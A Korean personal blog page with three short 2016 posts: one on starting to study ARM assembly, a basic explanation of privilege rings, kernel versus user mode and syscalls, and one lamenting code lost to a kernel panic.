미뤄뒀던 공부 진행

잡담 2016. 4. 15. 22:45



ARM은 정말 건드리기 싫었었지만 이번 기회에 한번 더 공부해봐야겠다.

Intel 어셈블리만 계속 건드리다가 레지스터도 다르고 메모리 사용하는것도 다른 ARM 건드려니까

말그대로 암걸릴거같긴 한데... 으아아아아

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

Kernel/User mode

Knowledge 2016. 4. 15. 22:32



 운영체제에는 계층별로 자원에 대한 접근을 제한하거나 허용해 놓은 특권 레벨(Privilege Level)이라는 것이 존재하는데,

이는 Privilege Ring이라고도 부르며 이를 그림으로 나타내면 다음과 같다.



(출처 : https://en.wikipedia.org/wiki/Privilege_level)



 이는 낮은 권한에서 악성코드 등에 의해서 운영체제가 손상되는 것을 방지하고, 각 계층별 할 수 있는 일을 정하여 계층에 대한 역할을 구조화하기 위해서이다. 그림에서 보다시피 Kernel 레벨인 Ring 0부터 User(Application) 레벨인 Ring 3까지 특권 레벨이 존재한다.


 위에서도 언급했다시피 유저 모드와 커널 모드는 자원에 대한 접근에서 그 차이가 발생한다.


 유저 모드에서 실행되는 응용 프로그램은 각각의 가상 메모리를 할당받고, 각자의 독립성을 보장받기 때문에 다른 프로그램의 영역에 침범할 수 없다. 또한 유저 모드에서 실행되기 때문에 커널 공간에도 침범할 수 없다.


 하지만 커널 모드에서 실행되는 응용 프로그램은 모든 메모리를 자유롭게 사용할 수 있다.


 유저 모드에서 실행되는 어플리케이션이 높은 레벨의 권한을 필요로 하는 작업을 해야 하는 경우에는 System Service Call을 이용하는데, 유저 모드에서 실행되는 Thread가 커널 모드에 접근할 수 있는 권한을 받고, 시스템 자원을 이용한 뒤 다시 유저 모드로 돌아오는 것이다. 이는 syscall이라고 하는 instruction을 이용해서 실행이 가능하다.

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,



어쩌다보니 커널패닉나서 코드랑 안에 들어있던게 싹날아갔다.

대부분은 백업해둔거라 괜찮았지만 최근에 짠건 어디에도 백업해두지 않아서 코드가 몇개 날아갔다.

뼈아프다...

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,